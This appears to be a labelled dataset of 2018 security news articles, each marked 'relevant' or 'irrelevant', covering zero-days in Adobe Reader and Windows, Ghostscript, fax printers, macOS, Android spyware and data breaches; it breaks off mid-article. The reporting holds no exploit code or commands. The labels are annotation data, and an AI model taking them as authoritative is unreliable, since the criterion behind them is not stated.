"Activist Leaks 11,000 Private Messages from WikiLeaks' Twitter Chats An activist has just leaked thousands of private messages of an organization that's been known to publishing others' secrets. More than 11,000 direct messages from a Twitter group used by WikiLeaks and around 10 close supporters have been posted online by journalist and activist Emma Best, exposing private chats between 2015 and 2017. The leaked chats have been referenced by American media outlets earlier this year, but for the very first time, all 11,000 messages have been published online, allowing anyone to scroll through and read messages themselves. ""The chat is presented nearly in its entirety, with less than a dozen redactions made to protect the privacy and personal information of innocent, third parties. The redactions don't include any information that's relevant to WikiLeaks or their activities,"" Best said. The leaked DMs of the private Twitter chat group, dubbed ""Wikileaks +10"" by Best, show WikiLeak's strong Republican favoritism, as some portions of the previously leaked chats already showed WikiLeaks' criticism of Hillary Clinton and support for the GOP. The leaked messages sent by WikiLeaks Twitter account likely believed to be controlled by WikiLeaks founder Julian Assange himself, called Democratic Party candidate Hillary Clinton a ""bright, well-connected, sadistic sociopath"" and said ""it would be much better for the GOP to win,"" in November 2015. During the 2016 presidential campaign, WikiLeaks made public stolen emails from officials of Democratic National Committee (DNC), including Hillary Clinton's campaign chairman John Podesta, as well as documents on CIA hacking tools. Best, the freedom of information activist, posted the leaked conversations to her personal blog on Sunday, claiming many of the messages contained offensive material. ""At various points in the chat, there are examples of homophobia, transphobia, ableism, sexism, racism, antisemitism and other objectionable content and language,"" Best said. ""Some of these are couched as jokes, but are still likely to (and should) offend, as a racist or sexist jokes doesn't cease to be racist or sexist because of an expected or desired laugh."" In some instances, WikiLeaks helped direct lawsuits filed by third-parties and even encouraged criminal investigations against their opponents. In others, the chat showed a ""mundane consistency with WikiLeaks' public stances,"" though a few were ""provocative and confounding."" Besides Hillary, the leaked DMs also showed that WikiLeaks did not have much love for former U.S. President Barack Obama as well. ""Obama is just a centralizer. He's bad because representationally he does not look or act like that which he represents. Hillary has similar representation confusion, but she will actively lead the machine to a dark place,"" one of the messages sent by WikiLeaks on November 19, 2015, read. In response to the Best's post, the official Twitter account of WikiLeaks claimed some tampering may have taken place, saying ""the logs appear to have been modified as can be seen by conversational holes (e.g., search for 'Norton') but are useful in other ways."" WikiLeaks founder Assange remains in the Ecuadorian embassy in London, but last week reports indicated Ecuador's plans to withdraw its political asylum, and eject him from its London embassy—eventually turning him over to the British authorities.",irrelevant
"Two Zero-Day Exploits Found After Someone Uploaded 'Unarmed' PoC to VirusTotal Security researchers at Microsoft have unveiled details of two critical and important zero-day vulnerabilities that had recently been discovered after someone uploaded a malicious PDF file to VirusTotal, and get patched before being used in the wild. In late March, researchers at ESET found a malicious PDF file on VirusTotal, which they shared with the security team at Microsoft ""as a potential exploit for an unknown Windows kernel vulnerability."" After analyzing the malicious PDF file, the Microsoft team found that the same file includes two different zero-day exploits—one for Adobe Acrobat and Reader, and the other targeting Microsoft Windows. Since the patches for both the vulnerabilities were released in the second week of May, Microsoft released details of both the vulnerabilities today, after giving users enough time to update their vulnerable operating systems and Adobe software. According to the researchers, the malicious PDF including both the zero-days exploit was in the early development stage, ""given the fact that the PDF itself did not deliver a malicious payload and appeared to be proof-of-concept (PoC) code."" It seems someone who could have combined both the zero-days to build an extremely powerful cyber weapon had unintentionally and mistakenly lost the game by uploading his/her under-development exploit to VirusTotal. The zero-day vulnerabilities in question are a remote code execution flaw in Adobe Acrobat and Reader (CVE-2018-4990) and a privilege escalation bug in Microsoft Windows (CVE-2018-8120). ""The first exploit attacks the Adobe JavaScript engine to run shellcode in the context of that module,"" Matt Oh, Security Engineer at Windows Defender ATP Research, says. ""The second exploit, which does not affect modern platforms like Windows 10, allows the shellcode to escape Adobe Reader sandbox and run with elevated privileges from Windows kernel memory."" The Adobe Acrobat and Reader exploit was incorporated in a PDF document as a maliciously crafted JPEG 2000 image containing the JavaScript exploit code, which triggers a double-free vulnerability in the software to run shellcode. Leveraging shellcode execution from the first vulnerability, the attacker uses the second Windows kernel exploit to break the Adobe Reader sandbox and run it with elevated privileges. Since this malicious PDF sample was under development at the time of detection, it apparently included a simple PoC payload that dropped an empty vbs file in the Startup folder. ""Initially, ESET researchers discovered the PDF sample when it was uploaded to a public repository of malicious samples,"" ESET researchers concluded. ""The sample does not contain a final payload, which may suggest that it was caught during its early development stages. Even though the sample does not contain a real malicious final payload, the author(s) demonstrated a high level of skills in vulnerability discovery and exploit writing."" Microsoft and Adobe have since released corresponding security updates for both the vulnerabilities in May. For more technical details of the exploits, you can head on to Microsoft and ESET blogs.",relevant
"Adobe releases important security patches for its 4 popular software Adobe has released August 2018 security patch updates for a total of 11 vulnerabilities in its products, two of which are rated as critical that affect Adobe Acrobat and Reader software. The vulnerabilities addressed in this month updates affect Adobe Flash Player, Creative Cloud Desktop Application, Adobe Experience Manager, Adobe Acrobat and Reader applications. None of the security vulnerabilities patched this month were either publicly disclosed or found being actively exploited in the wild. Adobe Acrobat and Reader (Windows and macOS) Security researchers from Trend Micro's Zero Day Initiative and Cybellum Technologies have discovered and reported two critical arbitrary code execution vulnerabilities respectively in Acrobat DC and Acrobat Reader DC for Windows and macOS. According to the Adobe advisory, the flaw (CVE-2018-12808) reported by Cybellum Technologies is an out-of-bounds write flaw, whereas the bug (CVE-2018-12799) reported by Zero Day Initiative is an untrusted pointer dereference vulnerability. Adobe Flash Player (For Desktops and Browsers) The latest version of Adobe Flash Player application, i.e., 30.0.0.154, patches a total of five vulnerabilities, including four important information disclosure bugs and one non-critical remote code execution issue. The remote code execution bug is a privilege escalation issue reported by Kai Song from Tencent, which leads to arbitrary code execution, but has been considered ""important"" by the company. All five vulnerabilities affect desktop runtime and Google Chrome versions of Flash Player for Windows, macOS, Linux, and Chrome OS. Adobe Experience Manager (All Platforms) The company has also released security patches for its enterprise content management solution, Adobe Experience Manager, to address two cross-site scripting (XSS) vulnerabilities and one input validation bypass flaw. The XSS flaws could result in information disclosure, while the input validation bypass bug could allow an attacker to modify information. All the three vulnerabilities have been rated as ""moderate"" in severity, and affect Experience Manager for all platforms, and users are advised to download the latest version from here as soon as possible. Creative Cloud Desktop Application (Windows) Adobe has also patched an important privilege escalation flaw (CVE-2018-5003) in the Creative Cloud Desktop Application installer for Windows. The vulnerability, which has been patched in the latest version 4.5.5.342, originates from the insecure loading of libraries, leading to DLL hijacking attacks. Adobe recommends end users and administrators to download and install the latest security patches as soon as possible.",relevant
"Adobe Issues Emergency Patches for Critical Flaws in Photoshop CC Adobe released an out-of-band security update earlier today to address two critical remote code execution vulnerabilities impacting Adobe Photoshop CC for Microsoft Windows and Apple macOS machines. According to the security advisory published Wednesday by Adobe, its Photoshop CC software is vulnerable to two critical memory corruption vulnerabilities, which could allow a remote attacker to execute arbitrary code in the context of the targeted user. The vulnerabilities, identified as CVE-2018-12810 and CVE-2018-12811, impact Adobe Photoshop CC 2018 version 19.1.5 and earlier 19.x versions, as well as Adobe Photoshop CC 2017 version 18.1.5 and earlier 18.x versions. The critical security flaws were discovered and reported by Kushal Arvind Shah of Fortinet's FortiGuard Labs, and have now been addressed by Adobe with the release of Photoshop CC versions 19.1.6 and 18.1.6. Also Read: Teen Arrested for Hacking into Apple's Network It should be noted that these RCE vulnerabilities were not part of August 2018 security patch updates released by the company last week to address a total of 11 security flaws in its Flash Player, Acrobat and Reader, Experience Manager, and Creative Cloud. However, only two of the security bugs patched in this month's update were deemed critical in severity, while none of the flaws have been exploited in the wild. Although the newly patched RCE flaws have been assigned a ""critical"" severity rating, they have been given a priority rating of 3, which also suggests that the flaws have not been targeted by malicious actors in the wild. More details about the critical RCE vulnerabilities are not available at the moment. However, users and administrators using Adobe Photoshop CC software are strongly recommended to download and install the latest security patches as soon as possible.",relevant
"Air Canada Suffers Data Breach — 20,000 Mobile App Users Affected Air Canada has confirmed a data breach that may have affected about 20,000 customers of its 1.7 million mobile app users. The company said it had ""detected unusual log-in behavior"" on its mobile app between August 22 and 24, during which the personal information for some of its customers ""may potentially have been improperly accessed."" The exposed information contains basic information such as customers' names, email addresses, phone numbers, and other information they have added to their profiles. Passport Numbers Exposed in Air Canada Data Breach However, what's worrisome? Hackers could have also accessed additional data including customer's passport number, passport expiration date, passport country of issuance and country of residence, Aeroplan number, known traveler number, NEXUS number, gender, date of birth, and nationality, if users had this information saved in their profile on the Air Canada mobile app. The airline assured its customers that credit card information saved to their profile was ""encrypted and stored in compliance with security standards set by the payment card industry or PCI standards,"" and therefore, are protected. However, Air Canada still recommended affected customers to always monitor their credit card transactions and contact their financial services provider immediately if they found any unusual or unauthorized activity. Reset Your Password The company estimates about 1% of its 1.7 million people—or about 20,000 users in total—who use its mobile app may have been affected by the security breach. Although currently, it is not clear how the data breach occurred, if it was a direct breach of Air Canada's systems, or if it was due to the reuse of passwords from other sites, the airline encourages users to reset their passwords using improved password guidelines, which says passwords should be at least 10 characters long and contain one symbol. However, as a precaution, the airline has locked down all 1.7 million accounts until all of its customers—even those whose information was not exposed in the breach—change their passwords. Air Canada has contacted potentially affected customers directly by email starting August 29 to tell them if their account has potentially been accessed by hackers improperly.",irrelevant
"New Android Malware Framework Turns Apps Into Powerful Spyware Security researchers have uncovered a new, powerful Android malware framework that is being used by cybercriminals to turn legitimate apps into spyware with extensive surveillance capabilities—as part of what seems to be a targeted espionage campaign. Legitimate Android applications when bundled with the malware framework, dubbed Triout, gain capabilities to spy on infected devices by recording phone calls, and monitoring text messages, secretly stealing photos and videos, and collecting location data—all without users' knowledge. The strain of Triout-based spyware apps was first spotted by the security researchers at Bitdefender on May 15 when a sample of the malware was uploaded to VirusTotal by somebody located in Russia, but most of the scans came from Israel. In a white paper (PDF) published Monday, Bitdefender researcher Cristofor Ochinca said the malware sample analyzed by them was packaged inside a malicious version of an Android app which was available on Google Play in 2016 but has since been removed. The malware is extremely stealthy, as the repackaged version of the Android app kept the appearance and feel of the original app and function exactly like it—in this case, the researcher analyzed an adult app called 'Sex Game'— to trick its victims. However, in reality, the app contains a malicious Triout payload that has powerful surveillance capabilities which steal data on users and sends it back to an attacker-controlled command and control (C&C) server. According to the researcher, Triout can perform many spying operations once it compromises a system, including: Recording every phone call, saving it in the form of a media file, and then sending it together with the caller id to a remote C&C server. Logging every incoming SMS message to the remote C&C server. Sending all call logs (with name, number, date, type, and duration) to the C&C server. Sending every picture and video to the attackers whenever the user snaps a photo or record video, either with the front or rear camera. Capability to hide itself on the infected device. But despite the powerful capabilities of the malware, the researchers found that the malware does not use obfuscation, which helped the researchers get full access to its source code by merely unpacking the APK file—suggesting the malware is a work-in-progress. ""This could suggest the framework may be a work-in-progress, with developers testing features and compatibility with devices,"" Ochinca said. ""The C&C (command and control) server to which the application seems to be sending collected data appears to be operational, as of this writing, and running since May 2018."" Although the researchers were unable to find how this repackaged version of the legitimate app was being distributed and how many times it was successfully installed, they believe the malicious app was delivered to victims either by third-party app stores or by other attacker-controlled domains likely used to host the malware. Ochinca explains that the analyzed Triout sample was still signed with an authentic Google Debug Certificate. At the time, no evidence points towards the attackers, or to determine who they are and where they are from, but what's clear is one thing that the attackers are highly skilled and full of resources to develop a sophisticated form of a spyware framework. The best way to protect yourself from avoiding falling victims to such malicious apps is to always download apps from trusted sources, like Google Play Store, and stick only to verified developers. Also, most important, think twice before granting any app permission to read your messages, access your call logs, your GPS coordinates, and any other data obtained via the Android's sensors.",relevant
"16-Year-Old Teen Hacked Apple Servers, Stole 90GB of Secure Files Well, there's something quite embarrassing for Apple fans. Though Apple servers are widely believed to be unhackable, a 16-year-old high school student proved that nothing is impossible. The teenager from Melbourne, Australia, managed to break into Apple servers and downloaded some 90GB of secure files, including extremely secure authorized keys used to grant login access to users, as well as access multiple user accounts. The teen told the authorities that he hacked Apple because he was a huge fan of the company and ""dreamed of"" working for the technology giant. What's more embarrassing? The teen, whose name is being withheld as he's still a minor, hacked the company's servers not once, but numerous times over the course of more than a year, and Apple's system administrators failed to stop their users' data from being stolen. When Apple finally noticed the intrusion, the company contacted the FBI, which took the help of the Australian Federal Police (AFP) after detecting his presence on their servers and blocking him. Apple Hack: The ""Hacky Hack Hack"" Folder The AFP caught the teenager last year after a raid on his residence and seized two Apple laptops, a mobile phone, and a hard drive. ""Two Apple laptops were seized, and the serial numbers matched the serial numbers of the devices which accessed the internal systems,"" a prosecutor was quoted as saying by Australian media The Age. ""A mobile phone and hard drive were also seized, and the IP address matched the intrusions into the organization."" After analyzing the seized equipment, authorities found the stolen data in a folder called ""hacky hack hack."" Besides this, authorities also discovered a series of hacking tools and files that allowed the 16-year-old boy to break into Apple's mainframe repeatedly. According to the authorities, the teenager also used Whatsapp to share his offending with others. At Apple's request, authorities did not disclose details regarding the methods the teenager used to hack into its secure servers, though investigators said his ways ""worked flawlessly"" until the company noticed. The FBI and the AFP kept everything secret until now, as the teen's defense lawyer said the boy had become so well known in the international hacking community that even mentioning the case in detail could expose him to risk. In a statement given by Apple to the press today, the company assured its customers that no personal data was compromised in the hack, though it is still unclear what kind of data the teen stole. The teen has pleaded guilty to a Children's Court, but the magistrate has postponed his sentencing till next month (20 September).",irrelevant
"Researchers Developed Artificial Intelligence-Powered Stealthy Malware Artificial Intelligence (AI) has been seen as a potential solution for automatically detecting and combating malware, and stop cyber attacks before they affect any organization. However, the same technology can also be weaponized by threat actors to power a new generation of malware that can evade even the best cyber-security defenses and infects a computer network or launch an attack only when the target's face is detected by the camera. To demonstrate this scenario, security researchers at IBM Research came up with DeepLocker—a new breed of ""highly targeted and evasive"" attack tool powered by AI,"" which conceals its malicious intent until it reached a specific victim. According to the IBM researcher, DeepLocker flies under the radar without being detected and ""unleashes its malicious action as soon as the AI model identifies the target through indicators like facial recognition, geolocation and voice recognition."" Describing it as the ""spray and pray"" approach of traditional malware, researchers believe that this kind of stealthy AI-powered malware is particularly dangerous because, like nation-state malware, it could infect millions of systems without being detected. The malware can hide its malicious payload in benign carrier applications, like video conferencing software, to avoid detection by most antivirus and malware scanners until it reaches specific victims, who are identified via indicators such as voice recognition, facial recognition, geolocation and other system-level features. Also Read: Artificial Intelligence Based System That Can Detect 85% of Cyber Attacks ""What is unique about DeepLocker is that the use of AI makes the ""trigger conditions"" to unlock the attack almost impossible to reverse engineer,"" the researchers explain. ""The malicious payload will only be unlocked if the intended target is reached."" deeplocker artificial intelligence malware To demonstrate DeepLocker's capabilities, the researchers designed a proof of concept, camouflaging well-known WannaCry ransomware in a video conferencing app so that it remains undetected by security tools, including antivirus engines and malware sandboxes. With the built-in triggering condition, DeepLocker did not unlock and execute the ransomware on the system until it recognized the face of the target, which can be matched using publicly available photos of the target. ""Imagine that this video conferencing application is distributed and downloaded by millions of people, which is a plausible scenario nowadays on many public platforms. When launched, the app would surreptitiously feed camera snapshots into the embedded AI model, but otherwise behave normally for all users except the intended target,"" the researchers added. ""When the victim sits in front of the computer and uses the application, the camera would feed their face to the app, and the malicious payload will be secretly executed, thanks to the victim's face, which was the preprogrammed key to unlock it."" So, all DeepLocker requires is your photo, which can easily be found from any of your social media profiles on LinkedIn, Facebook, Twitter, Google+, or Instagram, to target you. Trustwave has recently open-sourced a facial recognition tool called Social Mapper, which can be used to search for targets across numerous social networks at once. The IBM Research group will unveil more details and a live demonstration of its proof-of-concept implementation of DeepLocker at the Black Hat USA security conference in Las Vegas on Wednesday.",irrelevant
"Fortnite APK Download for Android Won't Be Available on Google Play Store There's both good news and bad news for Fortnite game lovers. Fortnite, one of the most popular games in the world right now, is coming to Android devices very soon, but players would not be able to download Fortnite APK from the Google Play Store. Instead, Epic Games software development company has confirmed the Fortnite APK for Android will be available for download exclusively only through its official website, bypassing the Google Play Store. Why Fortnite for Android Bypassing Google Play Store? Epic Games CEO Tim Sweeney cites two main reasons for this decision. First, offering Fortnite APK downloads directly from its official website will allow the company to ""have a direct relationship"" with its consumers. Second, since Google takes a 30 percent cut of revenue each time a user makes an in-app purchase through its Play Store, the decision will allow the company to save millions. This should not be shocking as Fortnite on iOS made $15 million in just first three weeks. Moreover, one should not forget, by covering Android, Epic Games is targeting the other 85 percent of the world's smartphone audience with the release of Fortnite for Android. ""When you search for Fortnite on iOS, you'll often get PUBG or Minecraft ads. Whoever bought that ad in front of us is the top result when searching for Fortnite,"" Sweeney said in an interview with GamesBeat. ""It's just a bad experience. Why not just make the game available directly to users, instead of having the store get between us and our customers and inject all kinds of cruft like that? It's a general criticism I have of the smartphone platforms right now."" Sweeney argues that profit-sharing, such as Microsoft or Nintendo's cut of Fortnite in-game purchases, is OK on gaming consoles ""where there's enormous investment in hardware, often sold below cost, and marketing campaigns in broad partnership with publishers."" However, Sweeney says that Google's 30% cut is ""disproportionate to the cost of the services these stores perform, such as payment processing, download bandwidth, and customer service."" Fortnite for Android Downloads Could Put Users Security At Risk However, it should be noted that offering Fortnite APK from a third-party website is risking Android users in terms of security by escaping the built-in protections provided by the Google Play Store. Fortnite for Android has not been launched yet, but due to current popularity and craziness across the globe surrounding the video game, we have seen how a large number of Android users are falling for malicious or fake Fortnite APKs distributed by cybercriminals and scammers. Though Play Store is also not entirely immune to malware, recommending a large number of users to install (via sideloading) a third-party app outside of the official app store would leave an opportunity open for hackers to spread malware. The move will simply encourage users to manually enable ""Install Apps from Unknown Sources"" option in the settings menu or accept a variety of Android security prompts in order to install Fortnite game directly from the Epic Games website. So, thousands of people out there searching, ""how to install Fortnite on Android"" or ""how to download Fortnite APK for Android"" on the Internet, could land themselves on unofficial websites, ending up installing malware. To play Fortnite on Android, players first need to visit the Fortnite.com website to first download the Fortnite Launcher, which will then let them load the Fortnite Battle Royale onto their devices. ""But from a customer perspective, it sucks. Security experts, tech companies, and app developers all agree it's best practice to only download apps from trusted developers, and only from legitimate app stores,"" Selena Larson raised security concerns in a blog post. ""By shirking these practices, Epic Games is normalizing behavior that can lead to kids' phones getting hacked."" ""For instance, hackers could masquerade as legit Fortnite representatives or gamers and trick people into downloading malware. This method of phishing Android users to install bad apps and spyware has been used by state-backed adversaries and average bad actors alike."" Right now, there is no concrete release date yet for Fortnite for Android, but speculations suggest the world's most famous battle royale game—with more than 125 million players at the current—will be launching as a Samsung Galaxy Note 9 exclusive for 30 days. Epic Games did not comment on the Fortnite's partnership with Samsung, but said the game is going to work on high-end Android devices—that's 300 million or so out of the 2.5 billion Android devices in the world.",irrelevant
"Critical Flaws in Ghostscript Could Leave Many Systems at Risk of Hacking Google Project Zero's security researcher has discovered a critical remote code execution (RCE) vulnerability in Ghostscript—an open source interpreter for Adobe Systems' PostScript and PDF page description languages. Written entirely in C, Ghostscript is a package of software that runs on different platforms, including Windows, macOS, and a wide variety of Unix systems, offering software the ability to convert PostScript language files (or EPS) to many raster formats, such as PDF, XPS, PCL or PXL. A lot of popular PDF and image editing software, including ImageMagick and GIMP, use Ghostscript library to parse the content and convert file formats. Ghostscript suite includes a built-in -dSAFER sandbox protection option that handles untrusted documents, preventing unsafe or malicious PostScript operations from being executed. However, Google Project Zero team researcher Tavis Ormandy discovered that Ghostscript contains multiple -dSAFER sandbox bypass vulnerabilities, which could allow a remote, unauthenticated attacker to execute arbitrary commands on a vulnerable system. To exploit this vulnerability, all an attacker needs to do is sending a specially crafted malicious file (which could be a PDF, PS, EPS, or XPS) to a victim, which, if opened with an application leveraging vulnerable Ghostscript, could allow the attacker to completely take over the targeted system. At the time of writing, Artifex Software, the maintainers of Ghostscript, have not released any patch to fix the vulnerability. According to advisory released by US-CERT, applications like the ImageMagick image processing library, which uses Ghostscript by default to process PostScript content, are affected by the vulnerability. Major Linux distributions including RedHat and Ubuntu have confirmed that they are also affected by this vulnerability, while the status for Arch Linux, CentOS, Debian, Dell, Apple, and others is still unknown. Ormandy advised Linux distributions to disable the processing of PS, EPS, PDF, and XPS content until the issue is addressed. ""I *strongly* suggest that distributions start disabling PS, EPS, PDF and XPS coders in policy.xml by default,"" Ormandy said. This is not the first time when Ormandy has discovered issues in Ghostscript. He found similar high severity vulnerabilities in Ghostscript in October 2016 and April last year (CVE-2017-8291), some of which were found actively exploited in the wild.",relevant
"Chrome Bug Allowed Hackers to Find Out Everything Facebook Knows About You With the release of Chrome 68, Google prominently marks all non-HTTPS websites as 'Not Secure' on its browser to make the web a more secure place for Internet users. If you haven't yet, there is another significant reason to immediately switch to the latest version of the Chrome web browser. Ron Masas, a security researcher from Imperva, has discovered a vulnerability in web browsers that could allow attackers to find everything other web platforms, like Facebook and Google, knows about you—and all they need is just trick you into visiting a website. The vulnerability, identified as CVE-2018-6177, takes advantage of a weakness in audio/video HTML tags and affects all web browsers powered by ""Blink Engine,"" including Google Chrome. To illustrate the attack scenario, the researcher took an example of Facebook, a popular social media platform that collects in-depth profiling information on its users, including their age, gender, where you have been (location data) and interests, i.e., what you like and what you don't. You must be aware of Facebook offering post targeting feature to page administrators, allowing them to define a targeted or restricted audience for specific posts based on their age, location, gender, and interest. How the Browser Attack Works? hack facebook post audience restriction To demonstrate the vulnerability, the researcher created multiple Facebook posts with different combinations of the restricted audiences to categorize victims according to their age, location, interest or gender. Now, if a website embeds all these Facebook posts on a web page, it will load and display only a few specific posts at the visitors' end based on individuals' profile data on Facebook that matches restricted audience settings. For example, if a post—defined to be visible only to the Facebook users with age 26, male, having interest in hacking or Information Security—was loaded successfully, an attacker can potentially learn personal information on visitors, regardless of their privacy settings. Though the idea sounds exciting and quite simple, there are no direct ways available for site administrators to determine whether an embedded post was loaded successfully for a specific visitor or not. hack chrome browser facebook Thanks to Cross-Origin Resource Sharing (CORS)—a browser security mechanism that prevents a website from reading the content of other sites without their explicit permission. However, Imperva researcher found that since audio and video HTML tags don't validate the content type of fetched resources or reject responses with invalid MIME types, an attacker can use multiple hidden video or audio tags on a website to request Facebook posts. Though this method doesn't display Facebook posts as intended, it does allow the attacker-controlled website to measure (using JavaScript) the size of cross-origin resources and number of requests to find out which specific posts were successfully fetched from Facebook for an individual visitor. ""With several scripts running at once — each testing a different and unique restriction — the bad actor can relatively quickly mine a good amount of private data about the user,"" Masses said. ""I found that by engineering sites to return a different response size depending on the currently logged user properties it is possible to use this method to extract valuable information."" A member from Google security team also pointed that the vulnerability could also work against websites using APIs to fetch user session specific information. The core of this vulnerability has some similarities with another browser bug, patched in June this year, which exploited a weakness in how web browsers handle cross-origin requests to video and audio files, allowing attackers to read the content of your Gmail or private Facebook messages. Imperva researcher reported the vulnerability to Google with a proof of concept exploit, and the Chrome team patched the issue in Chrome 68 release. So, Chrome users are strongly recommended to update their browser to the latest version, if they haven't yet.",relevant
"Hackers can compromise your network just by sending a Fax What maximum a remote attacker can do just by having your Fax machine number? Believe it or not, but your fax number is literally enough for a hacker to gain complete control over the printer and possibly infiltrate the rest of the network connected to it. Check Point researchers have revealed details of two critical remote code execution (RCE) vulnerabilities they discovered in the communication protocols used in tens of millions of fax machines globally. You might be thinking who uses Fax these days! Well, Fax is not a thing of the past. With more than 300 million fax numbers and 45 million fax machines in use globally, Fax is still popular among several business organizations, regulators, lawyers, bankers, and real estate firms. Since most fax machines are today integrated into all-in-one printers, connected to a WiFi network and PSTN phone line, a remote attacker can simply send a specially-crafted image file via fax to exploit the reported vulnerabilities and seize control of an enterprise or home network. All the attacker needs to exploit these vulnerabilities is a Fax number, which can be easily found simply by browsing a corporate website or requesting it directly. Faxploit Attack — Demonstration Video Dubbed Faxploit, the attack involves two buffer overflow vulnerabilities—one triggers while parsing COM markers (CVE-2018-5925) and another stack-based issue occurs while parsing DHT markers (CVE-2018-5924), which leads to remote code execution. To demonstrate the attack, Check Point Malware Research Team Lead Yaniv Balmas and security researcher Eyal Itkin used the popular HP Officejet Pro All-in-One fax printers—the HP Officejet Pro 6830 all-in-one printer and OfficeJet Pro 8720. As shown in the above video, the researchers send an image file loaded with malicious payload through the phone line, and as soon as the fax machine receives it, the image is decoded and uploaded into the fax-printer's memory. In their case, the researchers used NSA-developed EternalBlue and Double Pulsar exploits, which was leaked by the Shadow Brokers group and was behind the WannaCry ransomware global outcry last year, to take over the connected machine and further spread the malicious code through the network. ""Using nothing but a phone line, we were able to send a fax that could take full control over the printer, and later spread our payload inside the computer network accessible to the printer,"" the researcher said in a detailed blog post published today. ""We believe that this security risk should be given special attention by the community, changing the way that modern network architectures treat network printers and fax machines."" According to the Check Point researchers, attackers can code the image file with malware including ransomware, cryptocurrency miners, or surveillance tools, depending upon their targets of interest and motives. Check Point researchers responsibly disclosed their findings to Hewlett Packard, which quickly fixed the flaws in its all-in-one printers and deployed firmware patches in response. A patch is available on HP's support page. However, the researchers believe the same vulnerabilities could also impact most fax-based all-in-one printers sold by other manufacturers and other fax implementation, such as fax-to-mail services, standalone fax machines, and more.",relevant
"Reddit Hacked – Emails, Passwords, Private Messages Stolen Another day, another significant data breach. This time the victim is Reddit... seems someone is really pissed off with Reddit's account ban policy or bias moderators. Reddit social media network today announced that it suffered a security breach in June that exposed some of its users' data, including their current email addresses and an old 2007 database backup containing usernames and hashed passwords. According to Reddit, the unknown hacker(s) managed to gain read-only access to some of its systems that contained its users' backup data, source code, internal logs, and other files. In a post published to the platform Wednesday, Reddit Chief Technology Officer Christopher Slowe admitted that the hack was a serious one, but assured its users that the hackers did not gain access to Reddit systems. ""[The attackers] were not able to alter Reddit information, and we have taken steps since the event to further lock down and rotate all production secrets and API keys, and to enhance our logging and monitoring systems,"" Slowe wrote. According to Slowe, the most significant data contained in the backup was account credentials (usernames and their corresponding salted and hashed passwords), email addresses and all content including private messages. Attacker Bypassed SMS-based Two-Factor Authentication Reddit learned about the data breach on June 19 and said that the attacker compromised a few of the Reddit employees' accounts with its cloud and source code hosting providers between June 14 and June 18. The hack was accomplished by intercepting SMS messages that were meant to reach Reddit employees with one-time passcodes, eventually circumventing the two-factor authentication (2FA) Reddit had in place attacks. The security breach should be a wake-up call to those who still rely on SMS-based authentication and believes it is secure. It's time for you to move on from this method and switch to other non-SMS-based two-factor authentication. Reddit is also encouraging users to move to token-based two-factor authentication, which involves your mobile phone generating a unique one-time passcode over an app. Reddit said that users can follow a few steps mentioned on the breach announcement page to check if their accounts were involved. Moreover, Reddit will reset passwords for users who may have had their login credentials stolen in the breach, and also directly notify all affected users with tips on how they can protect themselves.",irrelevant
"ex-NSA Hacker Discloses macOS High Sierra Zero-Day Vulnerability Your Mac computer running the Apple's latest High Sierra operating system can be hacked by tweaking just two lines of code, a researcher demonstrated at the Def Con security conference on Sunday. Patrick Wardle, an ex-NSA hacker and now Chief Research Officer of Digita Security, uncovered a critical zero-day vulnerability in the macOS operating system that could allow a malicious application installed in the targeted system to virtually ""click"" objects without any user interaction or consent. To know, how dangerous it can go, Wardle explains: ""Via a single click, countless security mechanisms may be completely bypassed. Run untrusted app? Click...allowed. Authorize keychain access? Click...allowed. Load 3rd-party kernel extension? Click...allowed. Authorize outgoing network connection? click ...allowed."" Wardle described his research into ""synthetic"" interactions with a user interface (UI) as ""The Mouse is Mightier than the Sword,"" showcasing an attack that's capable of 'synthetic clicks'—programmatic and invisible mouse clicks that are generated by a software program rather than a human. macOS code itself offers synthetic clicks as an accessibility feature for disabled people to interact with the system interface in non-traditional ways, but Apple has put some limitations to block malware from abusing these programmed clicks. hacking with mac os Wardle accidentally discovered that High Sierra incorrectly interprets two consecutive synthetic mouse ""down"" event as a legitimate click, allowing attackers to programmatically interact with security warnings as well that asks users to choose between ""allow"" or ""deny"" and access sensitive data or features. ""The user interface is that single point of failure,"" says Wardle. ""If you have a way to synthetically interact with these alerts, you have a very powerful and generic way to bypass all these security mechanisms."" Although Wardle has not yet published technical details of the flaw, he says the vulnerability can potentially be exploited to dump all passwords from the keychain or load malicious kernel extensions by virtually clicking ""allow"" on the security prompt and gain full control of a target machine. Wardle said that he found this loophole accidentally when copying and pasting the code and that just two lines of code are enough to completely break this security mechanism. Unlike earlier findings, Wardle didn't report Apple about his latest research and choose to publicly reveal details of the zero-day bug at DefCon hacker conference. ""Of course OS vendors such as Apple are keenly aware of this 'attack' vector, and thus strive to design their UI in a manner that is resistant against synthetic events. Unfortunately, they failed,"" says Wardle. However, the Apple's next version of macOS, Mojave, already has mitigated the threat by blocking all synthetic events, which eventually reduces the scope of accessibility features on applications that legitimately use this feature.",relevant
"New Man-in-the-Disk attack leaves millions of Android phones vulnerable Security researchers at Check Point Software Technologies have discovered a new attack vector against the Android operating system that could potentially allow attackers to silently infect your smartphones with malicious apps or launch denial of service attacks. Dubbed Man-in-the-Disk, the attack takes advantage of the way Android apps utilize 'External Storage' system to store app-related data, which if tampered could result in code injection in the privileged context of the targeted application. It should be noted that apps on the Android operating system can store its resources on the device in two locations—internal storage and external storage. Google itself offers guidelines to Android application developers urging them to use internal storage, which is an isolated space allocated to each application protected using Android's built-in sandbox, to store their sensitive files or data. However, researchers found that many popular apps—including Google Translate itself, along with Yandex Translate, Google Voice Typing, Google Text-to-Speech, Xiaomi Browser—were using unprotected external storage that can be accessed by any application installed on the same device. How Android Man-in-the-Disk Attack Works? Similar to the ""man-in-the-middle"" attack, the concept of ""man-in-the-disk"" (MitD) attack involves interception and manipulation of data being exchanged between external storage and an application, which if replaced with a carefully crafted derivative ""would lead to harmful results."" man-in-the-disk android hacking apps For instance, researchers found that Xiaomi web browser downloads its latest version on the external storage of the device before installing the update. Since app fails to validate the integrity of the data, the app's legitimate update code can be replaced with a malicious one. ""Xiaomi Browser was found to be using the External Storage as a staging resource for application updates,"" the researchers said in a blog post. ""As a result, our team was able to carry out an attack by which the application's update code was replaced, resulting in the installation of an alternative, undesired application instead of the legitimate update."" In this way, attackers can get a man-in-the-disk position, from where they can monitor data transferred between any other app on the user's smartphone and the external storage and overwrite it with their own malicious version in order to manipulate or crash them. The attack can also be abused to install another malicious app in the background without the user's knowledge, which can eventually be used to escalate privileges and gain access to other parts of the Android device, like camera, microphone, contact list, and more. Man-in-the-Disk Attack Video Demonstrations Check Point researchers also managed to compromise files and crash Google Translate, Google Voice-to-Text, and Yandex Translate because those apps also failed to validate the integrity of data used from the Android's external storage. Among the apps that Check Point researchers tested for this new MitD attack 